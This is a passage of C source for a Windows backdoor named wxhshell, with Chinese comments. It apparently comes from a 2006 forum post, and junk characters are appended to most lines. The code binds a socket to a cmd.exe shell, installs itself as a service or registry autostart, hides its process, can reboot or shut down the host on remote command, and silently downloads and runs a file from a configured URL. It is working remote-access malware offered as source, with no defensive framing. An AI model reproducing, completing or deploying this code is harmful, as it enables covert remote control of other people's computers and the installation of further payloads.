  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %L.S~dN6  
  } )O[8 D  
  else { { I{ 0rV  
kZ% AGc  
    switch(cmd[0]) { ;dzy 5o3  
  HkD. W6A3  
  // 帮助 )g:5}+  
  case '?': { >|SIqB<%:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o26Y }W  
    break; 8>C4w 5kF  
  } Q,NnB{R  
  // 安装 ( >}1t!1  
  case 'i': { ei= 4u'  
    if(Install()) q-z1ElrN7u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,buX|  
    else BwHJr(n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F8w7N$/V",  
    break; ?nc:bC  
    } .BP d06y  
  // 卸载 08ZvRy(Je<  
  case 'r': { mP^B2"|q  
    if(Uninstall()) qJ;~ANwt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I "x'  
    else :j]6vp 6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :-x?g2MY  
    break; 5RLO}Vn]  
    } Ft>B% -;  
  // 显示 wxhshell 所在路径 |Y"XxM9  
  case 'p': { XoyxS:=>|[  
    char svExeFile[MAX_PATH];  hE:~~ox  
    strcpy(svExeFile,"\n\r"); = o(}=T>:"  
      strcat(svExeFile,ExeFile); G!FdTvx$  
        send(wsh,svExeFile,strlen(svExeFile),0); le5@WG/x  
    break; Sj ovL@X  
    } !/}4_s`,  
  // 重启 | co#X8J  
  case 'b': { s~,!E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e,OXngC  
    if(Boot(REBOOT)) bm;iX*~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'N{1b_v?  
    else { ,.Ofv):=  
    closesocket(wsh); $l ,U)  
    ExitThread(0); *$7^.eHfdd  
    } z_(l]Ern}  
    break; Hl$qmq  
    } Ow-ejo  
  // 关机 _CNXyFw.7  
  case 'd': { W<<G  'Km  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UW":&`i  
    if(Boot(SHUTDOWN)) 0faf4LzU!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); moM'RO,M  
    else { zDYJe_m ~  
    closesocket(wsh); y6am(ugE  
    ExitThread(0); )-+tN>Bb  
    } Rs<S}oeLn  
    break; /;_$:`|/  
    } 8+!G /p  
  // 获取shell  e$  
  case 's': { FBNi (D  
    CmdShell(wsh); 4=q4_ \_T  
    closesocket(wsh); ="T}mc  
    ExitThread(0); uEPm[oyX  
    break; k&yBB%g  
  } pe[huYE  
  // 退出 R?:K\  
  case 'x': { ]@SEOc@ j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -0(+a$P7e  
    CloseIt(wsh); VIWH~UR)&!  
    break; Z+R-}<   
    } U;&s=M0[  
  // 离开 0Wd5s{S  
  case 'q': { "% \ y$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SFWS<H(IN  
    closesocket(wsh); 2aivc,m{r  
    WSACleanup(); 3 } $9./+  
    exit(1); 3Mh_ &%!O  
    break; +SV!QMIg  
        } Pd:tRY+t/  
  } 6mZpyt  
  } U&kdR+dB  
g7%vI8Y)@  
  // 提示信息 W[!bF'- 10  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'e))i#/VF  
} ;XY#Jl>tg  
  } .Xta;Py|J  
\XY2s&"  
  return; K(mzt[n(  
} A}!D&s&UH  
tchpO3u,  
// shell模块句柄 }LBrk0]  
int CmdShell(SOCKET sock) bB.nevb9p  
{ :B/u>  
STARTUPINFO si; K<ldl.  
ZeroMemory(&si,sizeof(si)); _#UhXXD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >48)@sS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;hDIoSz  
PROCESS_INFORMATION ProcessInfo; (B+zh  
char cmdline[]="cmd"; mnMY)-6C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +]Bx4r?p  
  return 0; z81`Lhg6  
} xI=[=;L  
vP<8 ,XG  
// 自身启动模式 ``?Z97rH  
int StartFromService(void) G_p13{"IM  
{ l$p"%5 ]_  
typedef struct /Bnh%6#ab  
{ )vur$RX  
  DWORD ExitStatus; 0.Nik^~  
  DWORD PebBaseAddress; vn5]+-I  
  DWORD AffinityMask; S1$&  
  DWORD BasePriority; BI)$aR  
  ULONG UniqueProcessId; !Ys.KDL  
  ULONG InheritedFromUniqueProcessId; [=xO>  
}   PROCESS_BASIC_INFORMATION; == i?lbj  
h "r)z6Q/  
PROCNTQSIP NtQueryInformationProcess; tO QY./I  
R75np^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 78+PG(Q_M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r`'n3#O*  
t5za$kW'&  
  HANDLE             hProcess; I%G6V a@  
  PROCESS_BASIC_INFORMATION pbi; T%:W6fH7  
^RS`q+g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RIl+QA  
  if(NULL == hInst ) return 0; q:v&wb%  
Co>=<\yi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [<{+tAdn)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l<nL8/5{<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PM%Gsy]q  
wN!5[N"  
  if (!NtQueryInformationProcess) return 0; -z4pI=  
:u53zX[v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rfMzHY}%  
  if(!hProcess) return 0; Ol]+l]  
f~? MNJ2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f?A*g$v  
5eW GX  
  CloseHandle(hProcess); oos7x6  
+Te;LJP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qMe$Qr8  
if(hProcess==NULL) return 0; wGf SVA-q\  
ZtfPB  
HMODULE hMod; *G#W],~0  
char procName[255]; 4`7:gfrO,  
unsigned long cbNeeded; C2</.jeLa  
@ zE>n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ytnk^/Z1L  
!7lS=D(?  
  CloseHandle(hProcess); Iw$7f kq  
Z;QbqMj  
if(strstr(procName,"services")) return 1; // 以服务启动 <x),HTJ  
~sSlfQWMzy  
  return 0; // 注册表启动 : )\<  
} j9YI6X"  
_$?SKid|o  
// 主模块 =:zmF]j9  
int StartWxhshell(LPSTR lpCmdLine) S]3t{s#JW7  
{ qqSf17sW  
  SOCKET wsl; d[5?P?h')  
BOOL val=TRUE; COa"zg  
  int port=0; w"O^CR)  
  struct sockaddr_in door; ~ b ;%J:  
 T^ ^o  
  if(wscfg.ws_autoins) Install(); 1#9Q1@'OS  
mh"&KX86W  
port=atoi(lpCmdLine); nxP>IfSA  
T,,,+gPx  
if(port<=0) port=wscfg.ws_port; sV+/JDl  
%11&8Fp1s  
  WSADATA data; Yqy7__vm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r(IQ)\GR  
fYR*B0tu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i*'6"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G-[fz  
  door.sin_family = AF_INET;  pojQ/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  h+Dp<b  
  door.sin_port = htons(port); N246RV1W  
{i)k#`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SNB >  
closesocket(wsl); v_PhJKE  
return 1; q/[)Z @&(  
} E-_FxBw  
s88lN=;  
  if(listen(wsl,2) == INVALID_SOCKET) { JB~79Lsdz  
closesocket(wsl); FV>LD% uu  
return 1; |T~C($9  
} pmR6(/B#  
  Wxhshell(wsl); Q=[A P+  
  WSACleanup(); 445}Yw5;9  
qh!2dj  
return 0; r7r>1W%4  
V8w!yc  
} s_A<bW566F  
L, L>cmpM  
// 以NT服务方式启动 RfVVAaI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p9ligs7V'  
{ u/3 4E=  
DWORD   status = 0; Ai&-W  
  DWORD   specificError = 0xfffffff; mrR~[533j  
s+;J`_M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y#Je%tAe 2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fX=o,=-f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m0+X 109  
  serviceStatus.dwWin32ExitCode     = 0; z;GR(;w/  
  serviceStatus.dwServiceSpecificExitCode = 0; kYBy\  
  serviceStatus.dwCheckPoint       = 0; hce *G@b  
  serviceStatus.dwWaitHint       = 0; _zq"<Q c  
OTs vox|(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4viP lO  
  if (hServiceStatusHandle==0) return; O`_!G`E  
M}|<# i7u  
status = GetLastError(); dYdZt<6W<(  
  if (status!=NO_ERROR) J0@<6~V6o  
{ n4Od4&r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cs[_5r&:  
    serviceStatus.dwCheckPoint       = 0; AsyJDt'i  
    serviceStatus.dwWaitHint       = 0; e|)6zh<O:  
    serviceStatus.dwWin32ExitCode     = status; 1oq5|2p  
    serviceStatus.dwServiceSpecificExitCode = specificError; cn1UFmT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i`-,=RJ  
    return; bi`{ k\3A  
  } [jb3lO$Xa  
&VG|*&M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^.5`jdk  
  serviceStatus.dwCheckPoint       = 0; V7}5Zw1  
  serviceStatus.dwWaitHint       = 0; #w\Bc\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "J|_1!9  
} :<$B o  
am >X7  
// 处理NT服务事件,比如:启动、停止 <i9pJGW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HPT{83  
{ u~MD?!LV  
switch(fdwControl) o4I&?d7;"  
{ l AF/O5b  
case SERVICE_CONTROL_STOP: 2$8#ePyq*  
  serviceStatus.dwWin32ExitCode = 0; L'XX++2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NHKIZx8sR  
  serviceStatus.dwCheckPoint   = 0; Sn 3@+9J  
  serviceStatus.dwWaitHint     = 0; 9GdQ$^m  
  { $6\-8zNk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FwU*]wx|{  
  } V\k?$}  
  return; B^'Uh+Y  
case SERVICE_CONTROL_PAUSE: A#&Q(g\YE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3,qq\gxB  
  break; x!$Dje}  
case SERVICE_CONTROL_CONTINUE: Z Z1s}TG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2p3ep,  
  break; ~I^}'^Dbb  
case SERVICE_CONTROL_INTERROGATE: xsjJ8>G  
  break; -P!_<\q\l  
}; pyPS5vWG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 56!>}!8!  
} Sb_T _m  
4}nsW}jCc  
// 标准应用程序主函数 7/*a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .;6G?8`  
{ PVBf'  
1S !<D)n  
// 获取操作系统版本 ^fj):n5/  
OsIsNt=GetOsVer(); ]KX _a1e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q3.L6M  
A/kRw'6  
  // 从命令行安装 QW ~-+BD  
  if(strpbrk(lpCmdLine,"iI")) Install(); pPztUz/.  
8 jom)a  
  // 下载执行文件 ~r`~I"ZK7^  
if(wscfg.ws_downexe) { ~r~~0|=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Bsm>^zZ`YU  
  WinExec(wscfg.ws_filenam,SW_HIDE); m#[tY >Q[b  
} 79J@`  
6`LC(Nv%-n  
if(!OsIsNt) { F">>,Oc)U"  
// 如果时win9x,隐藏进程并且设置为注册表启动 %,9iY&;U"  
HideProc(); RZykwD(  
StartWxhshell(lpCmdLine); t >89( k  
} ,Mwyk1:xix  
else {.7ve<K  
  if(StartFromService()) ?L|Jc_E  
  // 以服务方式启动 $"Oy }  
  StartServiceCtrlDispatcher(DispatchTable); \Fh k>  
else a$p2I+lX  
  // 普通方式启动 )r O`K  
  StartWxhshell(lpCmdLine); )2Gp3oD?  
Gmcx#?|Tx  
return 0; ],r?]>  
}
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只看该作者 1 发表于: 2006-10-10
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